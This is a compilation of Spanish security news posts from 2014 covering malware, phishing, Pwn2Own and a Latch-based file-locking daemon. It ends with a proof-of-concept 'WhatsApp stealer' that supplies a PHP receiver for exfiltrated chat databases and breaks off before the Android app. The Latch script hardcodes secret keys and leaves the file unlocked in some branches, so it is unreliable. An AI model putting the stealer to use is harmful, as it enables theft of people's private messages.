WakeUp Challenge, una alarma para iPhone que solo se apaga si se resuelven juegos

Despertar no es tarea fácil, principalmente cuando el frío aprieta y las horas de sueño no han sido las suficientes, motivo por el cual las aplicaciones despertador tienen que ingeniárselas para garantizar que cumplen con su objetivo.

Eso es lo que pretende WakeUp Challenge, una aplicación para iOS que solo deja de sonar cuando el usuario resuelve uno de los cuatro juegos propuestos, suficientemente sencillos como para no matar a nadie de impaciencia y suficientemente complejos como para garantizar que, después de finalizados, el sujeto está completamente despierto.

Nos lo presenta Victor Baro, mostrando los cuatro juegos disponibles:

- Parejas: trata de emparejar todas las cartas
- Secuencia: memoriza y repite la secuencia
- Cálculo: ¿la ecuación es correcta o incorrecta?
- Toques!: toca las bolas antes de que exploten

Está ya disponible en iTunes por 0,89 euros, pero si aún así os parece caro, tenemos 3 códigos para los tres primeros comentarios que respondan a la pregunta: ¿qué usáis para despertar cada día?

Fuente

Malware para Android explota monedas virtuales Bitcoin, Dogecoin y Litecoin

Los usuarios de teléfonos y tablets con Android que adviertan de forma repentina que sus dispositivos se cargan lentamente, se calientan o se quedan sin batería en poco tiempo deberían considerar que podrían estar siendo víctimas de esta nueva amenaza.

Investigadores de Trend Micro informan que una nueva familia de malware para Android (detectada como ANDROIDOS_KAGECOIN.HBT) estaba minando la capacidad de cifrado de las monedas virtuales o criptodivisas. Trend Micro, según sus análisis, ha encontrado que este malware está involucrado en la explotación de varias monedas digitales, incluyendo Bitcoin, Litecoin y Dogecoin.

La situación tiene consecuencias reales para los usuarios: menor duración de la batería, mayor desgaste y deterioro, todo lo cual podría significar una vida más corta del dispositivo.

Los investigadores descubrieron originalmente ANDROIDOS_KAGECOIN en copias pirateadas de aplicaciones populares como Football Manager Handheld y TuneIn Radio. Las aplicaciones fueron programadas con el código de una aplicación de la CPU de cifrado de monedas Android legítima. Este código se basa en el software conocido como cpuminer.

Contenido completo en fuente original DiarioTI y TrendMicro

Cierra la lista Full Disclosure

Hoy es un día en parte triste por el anuncio de que Full Disclosure ha sido suspendida.

Full Disclosure ha sido una de las mejores listas de seguridad moderadas donde se descubrían vulnerabilidades y se debatían y divulgaban temas de seguridad informática. Hospedada y patrocinada por Secunia, fue fundada el 9 de julio de 2002 por Len Rose y era administrada por John Cartwright. Precisamente éste último ha anunciado hoy su cese del servicio. Aquí les dejo mi traducción con sus razones:

Administrivia: El Fin
From: John Cartwright
Date: Wed, 19 Mar 2014 10:30:15 +0000

Hola,

Cuando Len y yo creamos la lista Full-Disclosure allá por julio de 2002, sabíamos que en el camino íbamos a encontrar bastantes problemas legales.
Teníamos razón. Hasta la fecha hemos tenido todo tipo de peticiones para borrar cosas, solicitudes para no borrar cosas, y una variedad de amenazas legales tanto válidas como no. Sin embargo, siempre asumí que lo que nos haría cambiar sería una petición de eliminación de información a gran escala de algún fabricante o alguna otra excepción.

Nunca me imaginé que la solicitud pudiera venir de un investigador dentro de la 'comunidad' en sí (y utilizo esa palabra de forma poco precisa en tiempos modernos). Pero hoy, después de haber pasado una buena cantidad de tiempo tratando las quejas de un individuo en particular (del que no diré su nombre) me di cuenta de que ya ha terminado. La lista ha tenido su parte justa de trolling, flooding, furry porn, falsos exploits y ataques DoS en los últimos años, pero ninguna de estas cosas afectaron realmente la integridad de la propia lista.
Sin embargo, pasar un hacha virtual a los archivos de la lista por el capricho de un individuo no sienta bien. Ese 'uno de los nuestros' haría socavar los esfuerzos de los últimos 12 años y es realmente la gota que colma el vaso.

No estoy dispuesto a luchar esta lucha por más tiempo. Es cada vez más duro operar un foro abierto en el clima legal actual, y mucho más uno relacionado con la seguridad . No hay más honor entre los hackers. No existe una verdadera comunidad . Hay poco skill valioso. El juego de la seguridad está cada vez más regulado . Esto es toda una señal de lo que vendrá , y una reflexión sobre el triste estado de una industria que nunca debería haberse convertido en una industria.

Suspendo el servicio por tiempo indefinido. Gracias por participar.

Saludos,
- John

Fuente: Hack Players

Port Security en switch

En una auditoría interna uno puede pensar que se puede conectar a cualquier boca de red, lo cual sería algo bastante recurrido ya que podríamos capturar tráfico que nos permitiera conocer, e incluso escalar, los recursos que componen la zona interna de la organización. Y esto es así, hasta que te topas con protecciones como port security dónde realizar esta acción puede desembocar en un problema y ser detectado fácilmente por el administrador de la red. 

 

 

¿Qué es port security? Es una característica de los switches CISCO, con la que se permite tener una lista de direcciones MAC conectadas a cada puerto del switch. De este modo solo se permite a estas direcciones comunicarse a través de esa boca. Si por lo que fuera un dispositivo con otra dirección MAC intenta comunicarse a través de esa boca port-security deshabilita el puerto. El administrador será el encargado de atender al incidente y desbloquear el puerto. 

Contenido completo en fuente original Flu-Project

Demonizando Latch para proteger archivos con dos llaves

Antes de nada querría dar las gracias a Helloween por tomarle prestada un trozo de su portada del magnífico álbum "Keeper of seven keys" para ilustrar esta entrada....

 
Imaginemos que tenemos un servidor dispuesto para nuestros usuarios. Tenemos cierto archivo o carpeta que tiene que estar disponible para dos usuarios en concreto; el cual no puede ser leído o modificado sin el permiso de ambos.
Sería genial que ambos usuarios pudiesen tener el control sobre este hecho, como si se tratase de un cofre el cual necesita dos llaves (podrían ser más) para ser abierto, sin ni siquiera tener un acceso físico a la máquina, es decir,  que puedan decidirlo por control remoto desde su smartphone y así tener el control total sobre el acceso a dicho archivo o carpeta...
Esta situación es posible si miramos las posibilidades que nos brinda LATCH (de paso les agradezco a 11paths el juguetico que me hace pasar unas horas muy entretenido) y hacemos un apañejo, o chapucilla a la espera de que implementen algo parecido (que seguro que lo han pensado).
Pues bueno vamos a ver como lo hacemos y al tiempo aprenderemos a hacer nuestros propios demonios en Linux.
Lo primero sería dar dos usuarios de alta en Latch, para así disponer de "las llaves" para nuestro cofre (una para cada uno). Lo haremos en latch.elevenpaths.com.
No me entretendré en este proceso por no alargar la entrada, si queréis verlo detenidamente echar un ojo a esta otro post crear cuenta latch.
Una vez hecho ésto pasaremos a registrar ambas cuentas en el sistema con el siguiente script , tambien tenemos descrito el proceso en la entrada anterior en la parte de emparejar nuestra cuenta. Como es obvio, lo haremos una vez por cada id de aplicación y su correspondiente secreto y en distintos archivos (latch-llave1.account y latch-llave2.account). Con ésto ya tenemos nuestras "2 llaves":

Liberando nuestro demonio

"Un demonio, daemon o dæmon (de sus siglas en inglés Disk And Execution MONitor), es un tipo especial de proceso informático no interactivo, es decir, que se ejecuta en segundo plano en vez de ser controlado directamente por el usuario. Este tipo de programas se ejecutan de forma continua (infinita), vale decir, que aunque se intente cerrar o matar el proceso, este continuará en ejecución o se reiniciará automáticamente. Todo esto sin intervención de terceros y sin dependencia de consola alguna.” (Wikipedia)

En este caso vamos a utilizar un demonio sencillo en System V, pero no olvidemos que lo podemos complicar tanto como queramos...

#NUESTRO DEMONIO
#!/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/bin/daemonkeeper #Ruta a nuestro fichero a ejecutar
DAEMON_OPTS=''
NAME=daemonlatch            #nombre de nuestro demonio
DESC=keeper_of_seven_keys
PIDFILE="/var/run/${NAME}.pid" #Donde se guarda el pid del proceso
QUIET="--quiet"
START_OPTS="--start ${QUIET} --background --make-pidfile --pidfile ${PIDFILE} --exec ${DAEMON} ${DAEMON_OPTS}"
STOP_OPTS="--stop --pidfile ${PIDFILE}"
OWNER=root                              #el dueño del proceso
LOGDIR=/var/log/${NAME}          #donde guardaremos nuestros logs

test -x $DAEMON || exit 0

# SI NO EXISTE EL DIRECTORIO LOG, LO CREAMOS
if [ ! -d "$LOGDIR" ]; then
    mkdir -m 750 $LOGDIR
    chown $OWNER:$OWNER $LOGDIR
fi

set -e

case "$1" in
  start)
 echo -n "Starting $DESC: "
 start-stop-daemon $START_OPTS
 echo "$NAME."
 ;;
  stop)
 echo -n "Stopping $DESC: "
 start-stop-daemon $STOP_OPTS
 echo "$NAME."
        rm $PIDFILE
 ;;
  restart|force-reload)
 echo -n "Restarting $DESC: "
 start-stop-daemon $STOP_OPTS
 sleep 1
 start-stop-daemon $START_OPTS
 echo "$NAME."
 ;;
  *)
 N=/etc/init.d/$NAME
 echo "Usage: $N {start|stop|restart|force-reload}" >&2
 exit 1
 ;;
esac

exit 0

Guardaremos esta parte del demonio en /etc/init.d/ y le cambiaremos los permisos a 700. De manera que solo sea root quien pueda leer, escribir y ejecutar el archivo.

También crearemos el archivo pid en /var/run:
#chmod 700 daemonlatch 
#touch /var/run/daemonlatch.pid

Esta parte será la encargada del control; con la cual podremos parar, arrancar o re arrancar el demonio:
/etc/init.d/nombre del demonio /start/stop/restart

Ahora pasaremos a la segunda parte del demonio que llamaremos thekeeper que será la que se encargará de ver el estado de cada llave en el servidor de latch, de manera que si las dos llaves están activadas el archivo o carpeta se podrá leer, modificar,etc. según convengamos, o de lo contrario no se podrá:

#!/bin/bash
cofre=/home/manuel/importante.gpg
applicationId2="571a1Wfq8jnspoxk66pm"
secretkey2="rX2eZoqoBu6P1xWWwHVJNW15ErrlVgRcEqbtARF3"
LATCH2="/home/LATCH/latch-llave2.account"
account2=`grep "^$USER:" $LATCH2 |cut -d: -f2`
logs="/var/log/daemonlatch/daemonlatch.log"
##COMPROBAMOS LLAVE2
if [ -z `echo "$account2"|cut -d: -f2`  ]; then exit 0; fi
URL="/api/0.6/status/$account2"
requestSIgnature+="GET\n"
date2=`date -u '+%Y-%m-%d %H:%M:%S'`
requestSIgnature+="$date2\n\n$URL"
signed=`echo -en "$requestSIgnature" | openssl dgst -sha1 -hmac "$secretkey2" -binary|sed -e 's|.*= \(.*\)|\1|g'`
b64signed=`echo -n "$signed"|base64`
auth_header="Authorization: 11PATHS $applicationId2 $b64signed"
date_header="X-11Paths-Date: $date2"
JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header" "https://latch.elevenpaths.com$URL"`
status2=`echo -e "$JSON" | sed -e 's|.*status":"\(.*\)","name.*|\1|g'`
echo $status2

##COMPROBAMOS LLAVE1

applicationId="JXM2krpxLzNxi41Ru0oe"
secretkey="SeTQQo4OzyJ02T2SB9q6qPAA8lNyWkUcA4NZdNiI"
LATCH="/home/LATCH/latch-llave1.account"
account=`grep "^$USER:" $LATCH |cut -d: -f2`
if [ -z `echo "$account"|cut -d: -f2`  ]; then exit 0; fi
URL="/api/0.6/status/$account"
requestSignature+="GET\n"
date=`date -u '+%Y-%m-%d %H:%M:%S'`
requestSignature+="$date\n\n$URL"
signed=`echo -en "$requestSignature" | openssl dgst -sha1 -hmac "$secretkey" -binary|sed -e 's|.*= \(.*\)|\1|g'`
b64signed=`echo -n "$signed"|base64`
auth_header="Authorization: 11PATHS $applicationId $b64signed"
date_header="X-11Paths-Date: $date"
JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header" "https://latch.elevenpaths.com$URL"`
status=`echo -e "$JSON" | sed -e 's|.*status":"\(.*\)","name.*|\1|g'`
echo $status
if [ "$status" == "on" ] && [ "$status2" == "on" ]; then
date >>$logs
echo -e "cofre abierto " >> $logs
chmod 777 $cofre
elif [ "$status" == "off" ] && [ "$status2" == "off" ]; then
echo -e "cofre cerrado" >> $logs
chmod 000 $cofre
elif [ "$status" == "off" ] && [ "$status2" == "on" ]; then
echo -e "cofre cerrado" >> $logs
chmod 000 $cofre
elif [ "$status" == "on" ] && [ "$status2" == "off" ]; then
echo -e "cofre cerrado" >> $logs
echo 000 $cofre
else 
echo -e "Error de LATCH. Intenta de nuevo\n" >>$logs
echo 000 $cofre
fi

Por último haremos la tercera parte de nuestro demonio que llamaremos daemonkeeper, la colocaremos en el directorio /bin y le daremos permisos 700.

Con esta parte lo que se controlará es el tiempo que pasará entre chequear el estado de las llaves, en este caso será 30 seg..

#!/bin/bash
date >>/var/log/daemonlatch/daemonlatch.log
echo "demonio arrancado" >> /var/log/daemonlatch/daemonlatch.log
while true
do
sleep 30
/bin/thekeeper
done

Una vez creado nuestro demonio vamos a asignarle los niveles de ejecución o Runlevels.

Tenemos varios niveles de ejecución, y cada uno de ellos nos proporciona unas funcionalidades diferentes, y un entorno de trabajo distinto. 

La definición de cada runlevel la encontramos en el fichero /etc/inittab. En mi caso son los siguientes DEBIAN WHEEZY:

# Runlevel 0 is halt.
# Runlevel 1 is single-user.
# Runlevels 2-5 are multi-user.
# Runlevel 6 is reboot.

Para saber en qué nivel de ejecución estamos actualmente podemos utilizar el comando runlevel. Para iniciar o parar un demonio al entrar en un runlevel simplemente tenemos que crear un enlace simbólico en el directorio correspondiente al runlevel en el que queremos iniciar/parar el demonio. Los directorios con los enlaces a los scripts de los demonios son los de /etc/rcX.d/ donde X se corresponde con el número de runlevel. Así, por ejemplo, en el directorio /etc/rc5.d/ tenemos los enlaces a los scripts de los demonios que se iniciarán/pararán al entrar en el runlevel 5. Ahora que ya sabemos dónde hemos de colocar nuestros enlaces ya podemos crearlos. 

Es muy importante el nombre que le damos a los enlaces ya que de él depende si el demonio se inicia o se para y el orden en que se inicia/para. La sintaxis que se sigue en el nombre del enlace es la siguiente: S (para iniciar el demonio apuntado por el enlace) K (para parar el demonio apuntado por el enlace) y luego el orden en que se ejecutará; que puede ir desde 00 hasta 99 (siendo 00 la máxima prioridad). Además puede haber varios con la misma prioridad. 

Bueno al tajo!! Ahora para crear los enlaces simbólicos debemos hacerlo en los runlevels adecuados. Para iniciar en el runlevel 5 (multiusuario gráfico) y 3 (multiusuario) y para pararlo en el runlevel 6 (reinicio) y 0 (apagado). Lo hacemos con el comando ln de la siguiente manera:

ln -s /etc/init.d/daemonlatch /etc/rc5.d/S30daemonlatch
ln -s /etc/init.d/daemonlatch /etc/rc3.d/S30daemonlatch
ln -s /etc/init.d/daemonlatch /etc/rc6.d/K05daemonlatch
ln -s /etc/init.d/daemonlatch /etc/rc0.d/K05daemonlatch

Ya tenemos listo nuestro demonio!!!

Tan solo nos queda probarlo. Para ello simularemos que uno de los usuarios crea un archivo cifrado que se llamará 'importante' en su /home (igual lo podemos hacer con una carpeta)

$touch /home/manuel/importante

$gpg -c /home/manuel/importante

$rm /home/importante
Esto creará importante.gpg del cual ambos usuarios tendrán la clave.
Arrancamos el demonio:
#/etc/ini.d/daemonlatch start
Cada cierto tiempo (el que hayamos estimado en el archivo daemonkeeper) nuestro demonio conectará con el servidor de LATCH consultando el estado de las llaves...
En cuanto uno de los dos usuarios que tienen las llaves en su poder bloquee su llave en LATCH, el archivo deja de estar disponible para nadie... y no estará accesible hasta que ambos lo decidan...
Con esto hemos conseguido que estos usuarios tengan un archivo mancomunado y pleno control en el acceso, les hemos dado una capa nueva de protección...
Podríamos hacer esto más complejo y elegante, como por ejemplo llevar un sistema de log mas pensado, hacer un fichero de configuración para el demonio y que recoja las variables de él, etc, etc....
Un saludo y sed buenos...

Phishing Scam: una táctica de atracción que conmociona al mundo cibernético

El phishing es un ciberdelito reconocido hoy en día e incluso Google no está a salvo de este fraude. Phishing es típicamente un correo electrónico fraudulento que se hace pasar por legítimo para recopilar información confidencial de los usuarios. Los spammers utilizan técnicas avanzadas para conseguir que los usuarios hagan clic en los enlaces de phishing mientras que revisan su correo. Recientemente, los investigadores de Symantec han encontrado un fraude de phishing sofisticado dirigido a los usuarios de Google Docs y Google Drive.

Los hackers utilizan la palabra "documentos" en el asunto de un correo electrónico y piden al usuario comprobar un importante documento en Google Docs con un clic en el enlace incluido. El enlace va a una página de inicio de sesión falsa de Google Docs, donde el usuario tiene que proporcionar un nombre de usuario y contraseña.

La página falsa está alojada en el servidor de Google y se cifra con SSL para hacer que parezca más real. El fraude fue hecho haciendo una carpeta en Google Drive firmada como pública, subiendo un archivo, y utiliza la función de vista previa de Google Drive en Docs. Tan pronto como los usuarios introduzcan información de inicio de sesión sobre dicha página y pulsen el botón "sign-in", se ejecutará un script PHP en un servidor web comprometido que recogerá las credenciales del usuario.

Algunos datos Phishing:

Si nos fijamos en los años anteriores podemos ver un aumento dramático en los fraudes de phishing. Según el informe de EMC, en el último año 2013, se realizaron casi 450.000 ataques de phishing y, como resultado, se produjo una pérdida estimada de más de 5,9 mil millones. Los estafadores (scammers) utilizan diferentes técnicas de phishing como ataques tipo bouncer, ataques precisos, envío masivo de correo y email bombers.

En 2013, los principales países destinatarios fueron los EE.UU. y Canadá con el 63%, mientras que Europa, Oriente Medio y África se quedó con el 28% del volumen de phishing. La región de Asia Pacífico, Japón y Oceanía fueron del 7% y en América Latina se mantuvo con un 4% en volumen de phishing.

Los principales países que fueron influenciados por phishing en 2013 fueron EE.UU., Reino Unido, Alemania, India, Sudáfrica, Canadá, Países Bajos, Colombia, Australia y Brasil. Si nos fijamos en la pérdida que se produjo debido a los fraudes de phishing en los diferentes países, Reino Unido se mantuvo en la cima con $467 millones , mientras que Alemania se situó en segunda posición con $386 millones.
 

Countries	Phishing Volume	Estimated Loss
UK	31%	$467 millions
Germany	25%	$386 millions
South Africa	15%	$222 millions
India	54%	$225 millions
Australia	21%	$87 millions
China	14%	$59 millions
Colombia	43%	$95 millions
Brazil	39%	$86 millions
Mexico	8%	$19 millions

Algunas precauciones sencillas para mantenerse alejado de ataques de phishing:

• No haga clic en vínculos desconocidos, ya que le pueden redirigir a una página web falsa para recoger sus credenciales.
• Preferiblemente escriba la dirección URL en lugar de hacer clic en cualquier enlace recibido por correo.
• Si se le está pidiendo información de su tarjeta de crédito o cualquier información financiera, compruebe la autenticidad de la página web con HTTPS y el icono de candado.
• Siempre verifique su cuenta bancaria y de tarjetas de crédito con regularidad para observar cualquier transacción sospechosa.
• Utilice un filtro de phishing y software anti-virus que puede protegerle contra el malware.

Operación #Windigo: malware utilizado para atacar más de 500.000 computadoras

Desde el año pasado venimos publicando información sobre códigos maliciosos que afectan Linux. Tal es el caso de Linux/Ebury un backdoor OpenSSH utilizado para controlar los servidores y robar credenciales y Linux/Cdorked un backdoor HTTP utilizado para redirigir el tráfico Web. Sin embargo, después de una muy importante investigación desarrollada por el Laboratorio de Investigación de ESET, en colaboración con CERT-Bund (Swedish National Infrastructure for Computing) y otros organismos, se pudo determinar que ambos casos están relacionados y pertenecen a una campaña de infección denominada Windigo [PDF].

Con esta campaña los atacantes lograron infectar miles de servidores Linux y Unix, los cuales una vez comprometidos son usados para robar credenciales SSH, para redirigir a quienes visitan los sitios web a contenido malicioso y para enviar spam.

Esta operación ha afectado servidores y empresas de alto perfil, entre las que se incluyen cPanel (la empresa tras el famoso panel de control de hosting de sitios Web) y kernel.org de la Fundación Linux (el repositorio principal de código fuente para el núcleo de Linux.

De acuerdo con nuestro análisis, más de 25.000 servidores se han visto afectados en los últimos dos años, de los cuales más de 10.000 aún están infectados. Si bien la cantidad de equipos afectados no está cerca de los millones que puede afectar un código malicioso en Windows, es importante tener en cuenta que esta cantidad es muy significativa si se tiene presente que cada uno de estos sistemas tienen acceso a ancho de banda considerable, almacenamiento, potencia de cálculo y la memoria. En América Latina, los reportes indican aproximadamente 900 servidores infectados en Brasil, más de 250 en Argentina y 300 en México.

Contenido completo en fuente original ESET Latinoamérica

Tecnología para ubicar aviones y las señales recibidas por #MH370

La pérdida hace una semana de un Boeing 777 ha generado gran interés acerca de cómo ubicar un avión, y se ha mencionado el uso de tecnología satelital.

Aquí una breve explicación de la tecnología involucrada y lo que debe haber ocurrido desde el punto de vista técnico. Como referencia, estas son algunas de las tecnologías disponibles hoy para vigilancia de la ubicación de aeronaves en vuelo:

Radar y transponder: El radar tradicional es una señal de radio que se emite desde un lugar conocido, en una dirección conocida (típicamente con una antena direccional rotatoria) y que al reflejarse desde el fuselaje permite calcular su posición. Adicionalmente, los aviones pueden tener un transponder (mezcla de receptor y transmisor) que incrementa el alcance y complementa dicho rebote con información adicional sobre su identidad y posicion.

DS-B / UAT: Una solución más moderna y autónoma, ADS-B es una señal en UHF emitida por cada aeronave que incluye su identificación y posición. Gracias a no depender totalmente de infraestructura y personal en tierra, esta tecnología permite a pilotos contar con información precisa sobre aeronaves que le rodean. En EEUU además se utiliza una tecnología similar llamada UAT en una frecuencia diferente.

La foto, provista por Felipe Sáez, muestra un receptor capaz de captar las comunicaciones ADB-S.

La información ADS-B emitida desde aeronaves en UHF es recepcionable desde tierra por cualquier usuario con un receptor adecuado, lo cual ha dado lugar a servicios que colectan y presentan dicha información a través de la Internet, como FlightRadar24 y Flightaware. El alcance de las emisiones ADS-B suele ser de no más de 300km y no hay satélites que puedan recibirla directamente.

ACARS (Aircraft Comunications Addressing Reporting System) / ATN / FANS: La industria ha desarrollado diversos sistemas de comunicación de datos para facilitar la gestión de vuelos y el uso de espacio aéreo. Estos sistemas pueden utilizar enlaces de VHF, HF y satelitales para enviar y recibir información, incluyendo detalles que permiten vigilancia de localización y rumbo.

Cuando una aeronave se encuentra cerca de una zona habitada, suele ser monitoreada a través de radar pasivo, transponder y ADB-S, además de enviar y recibir datos por VHF. Cuando se encuentra en una zona más aislada (por ejemplo sobre el océano) su posición es reportada vía voz y datos sobre HF y a veces también por vía satelital.

Una vía satelital de amplio uso aeronáutico (más de 11 mil terminales) es Inmarsat, mediante un servicio llamado AMSS. El Aeronautical Mobile Satellite Service (Servicio Móvil Aeronáutico satelital) es operado por Inmarsat desde 1990 y se accede a él a través de terminales como Aero H, Swift64 y eventualmente SwiftBroadband.

Además de permitir servicios para pasajeros de voz y datos, la conectividad por Inmarsat aporta un datalink para que aplicaciones como ACARS y FANS funcionen en lugares donde VHF no llega y donde HF es poco eficaz.

Jon Ostrower del Wall Street Journal ha señalado que el último vuelo MH370 contaba con un módem Swift 64 conectado a los satélites de tercera generación I3 de Inmarsat. Debido a que dicho módem no estaba con servicio contratado y además quienes tomaron el control del avión habrían descativado ACARS, no se conoce el trayecto final del avión con detalle.

Pero gracias a que el módem estaba registrado en la constelación de Inmarsat, Swift 64 hacía contacto periódico con el satélite I-3F1 ubicado a 64 grados Este sobre el océano Índico.

Según Tim Farrar el módem al estar registrado respondía periódicamente a "pings" desde los satélites de Inmarsat, confirmando su correcto funcionamiento. Parámetros como tiempo, potencia y ángulo de las últimas respuestas habrían permitido a Inmarsat determinar a la distancia entre el avión del satélite en ese momento, lo cual da lugar a un arco, en rojo en el diagrama publicado por The New York Times.

Cabe señalar que de haber sido de una generación más nueva (SwiftBroadband), la información entregada por el módem sería más específica, porque los satélites de la constelación I-4 de Inmarsat tienen la posibilidad de enfocar sobre zonas más específicas y no solamente hemisferios completos como la constelación I3.

Adicionalmente a la constelación de Inmarsat, también es posible usar Iridium como datalink, esto es especialmente interesante para vuelos que pasan sobre los polos de la Tierra, donde Inmarsat tiene dificultad para conectar debido al uso de órbitas geosíncronas ecuatoriales.

El vuelo MH370 de Malaysia Airlines se perdió el 8 de marzo, con 12 tripulantes y 227 pasajeros a bordo. Hasta el momento no hay indicios de su paradero. Inmarsat ha emitido un comunicado donde explica que está entregando información a las autoridades, con el fin de ayudar a encontrar la aeronave o sus restos.

Fuente: Satelital Movil

Todos los navegadores caen en Pwn2Own 2014

Los días 12 y 13 de marzo se celebró una nueva edición del Pwn2Own, el concurso donde los descubridores de vulnerabilidades para los principales navegadores en diferentes sistemas operativos y plugins se llevan importantes premios económicos. Internet Explorer, Firefox, Chrome y Safari, no se libraron de los ataques y mostraron su cara más débil.

Pwn2Own es el evento anual que aglutina a los mejores investigadores de seguridad y donde se ponen a prueba los navegadores web más populares en diferentes sistemas operativos, así como en los plugins más atacados: Adobe Reader, Flash y Java. Pwn2Own, que se celebra en la ciudad canadiense de Vancouver, está patrocinado por la empresa Zero Day Initiative ZDI de HP, una compañía que se encarga de poner en contacto a investigadores de seguridad y compañías de software para garantizar una publicación coordinada de vulnerabilidades.

El primer día se cerró con cinco intentos exitosos contra otros tantos productos diferentes, que se llevaron 400.000 dólares en premios más otros 82.000 en donaciones a la Cruz Roja Canadiense en el evento Pwn4Fun.

En el Pwn4Fun, Google mostró un exploit contra Apple Safari que conseguía lanzar la Calculadora como root en Mac OS X. Mientras que ZDI presentó un exploit de múltiples fases, que incluía una fuga de la "sandbox", contra Microsoft Internet Explorer, que conseguía ejecutar la Calculadora Científica (con permisos intermedios).
En el Pwn2Own propiamente dicho, Jüri Aedla consiguió la ejecución de código en Mozilla Firefox a través de una lectura/escritura fuera de límites. Mariusz Mlynski, mostró dos vulnerabilidades, también contra Mozilla Firefox, la primera permitía la escalada de privilegios mientras que la segunda permitía evitar las medidas de seguridad del navegador.

Por otra parte, el Equipo VUPEN consiguió cuatro ataques exitosos, tres de ellos con resultado final de ejecución de código. El primero contra Adobe Flash, por un uso después de liberar memoria con un salto de la "sandbox" de Internet Explorer. Contra Adobe Reader un desbordamiento de búfer junto con un escape de la "sandbox" PDF y contra Firefox un uso después de liberar memoria. Por ultimo, un escape de la "sandbox" de Microsoft Internet Explorer.

El segundo día fue igualmente productivo con siete participantes contra cinco productos, que consiguieron 450.000 dólares en premios. Lo que hace un total de 850.000 dólares en premios.

Un participante anónimo presentó una vulnerabilidad de lectura/escritura arbitraria contra Google Chrome que permitía evitar la "sandbox" y lograr la ejecución de código. Sebastian Apelt y Andreas Schmidt presentaron una vulnerabilidad en el kernel y dos de uso después de librar memoria contra Internet Explorer, que conseguían ejecutar la Calculadora con permisos del sistema.

Por otra parte Liang Chen de Keen Team, mostró un desbordamiento de búfer junto con un escape de la "sandbox" que afectaba a Apple Safari. George Hotz, presentó un ataque contra Mozilla Firefox, con lectura/escritura fuera de límites. Por el Equipo VUPEN contra Google Chrome un uso después de liberar que afectaba tanto a Blink como a WebKit junto con un escape de la "sandbox" y por último de Zeguang Zhou de team509 y Liang Chen del Keen Team un desbordamiento de búfer contra Adobe Flash que permitía escapar de la "sandbox". Todos estos problemas permitían la ejecución de código.

Todas las vulnerabilidades han sido reportadas de forma responsable y los fabricantes ya trabajan en actualizaciones para corregir estos problemas.

Fuente: Hispasec

Dendroid: troyaniza cualquier App de Google Play

La comunidad anda algo revuelta porque en algunos foros underground un tal 'Soccer' ha ofrecido una herramienta para Android que por sólo 300 dólares (pagables a través de monedas no rastreables como Bitcoin) troyaniza cualquier app en sencillos pasos, incluye soporte 24x7, un avanzado panel de control en PHP y sobretodo permite evadir el bouncer de Google Play.

Conocido como Dendroid, este nuevo RAT descubierto inicialmente por Symantec se vende como un "APK Binder" que puede utilizar cualquier aplicación original de Android e incorporar su propio malware, es decir, la carga útil del troyano. Después de distribuir la aplicación infectada, los clientes del RAT de Dendroid pueden controlar la propagación de la infección a través de herramientas basadas en la web.

Los dispositivos android infectados se convierten en zombies controlados remotamente por el autor, lo que permite un acceso prácticamente ilimitado a las fotos, los datos y los mensajes en el dispositivo. Dendroid proporciona también acceso completo a la cámara y el micrófono, y puede realizar llamadas o escuchar las conversaciones telefónicas de un usuario o ver los mensajes de texto.

Según la firma de seguridad Lookout, "entre sus numerosas características, Dendroid cuenta con algunos códigos relativamente simples - pero inusuales - de detección de anti-emulación que ayudan a evadir la detección por parte del Bouncer, el sistema de detección anti-malware de Google para su tienda oficial"

Parece que este troyano tiene cierta relación con la anterior herramienta AndroRAT ya que en algunos mensajes de asistencia se han remitido mensajes relacionados con el anterior malware. ¿Te apetece analizarlo? descarga la muestra (Tim Strazzere).

Fuente: HackPlayers

Joomla 3.2: grave vulnerabilidad de SQL Injection (Parchea!)

En febrero saltó a la palestra una grave vulnerabilidad de inyección SQL que afectaba al gestor de contenidos Joomla!, reportada por killall-9. En esta ocasión, y a diferencia de lo que suele siempre ocurrir, la vulnerabilidad residía en el núcleo de la aplicación y no en módulos o plugins. Por lo que cualquier instalación de Joomla anterior a 3.2.2 es vulnerable por defecto.

 

El equipo de desarrollo de Joomla! acaba de publicar dos nuevas versiones de su CMS para las ramas 2.5.x y 3.2.x. Ambas están catalogadas como actualizaciones de seguridad y es importante actualizar a la mayor brevedad. Para la rama 3.2 hay cuatro problemas de seguridad corregidos (uno de calificación alta de inyección SQL y tres de calificación media) además de unos 40 bugs corregidos; para la rama 2.5 hay 6 errores corregidos y 2 de seguridad de calificación media.

Anuncio oficial y lista de cambios: Joomla! 2.5.19 y 3.2.3

Fuente: Daboweb

Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)

¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).

Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.

Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:

<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
 
$uploaddir = "/tmp/whatsapp/";
 
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br>";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br>";
  echo "Type: " . $_FILES["file"]["type"] . "<br>";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
 
  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>
 
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>

Después debemos configurar nuestro php.ini para subir ficheros grandes:

...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M

Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:

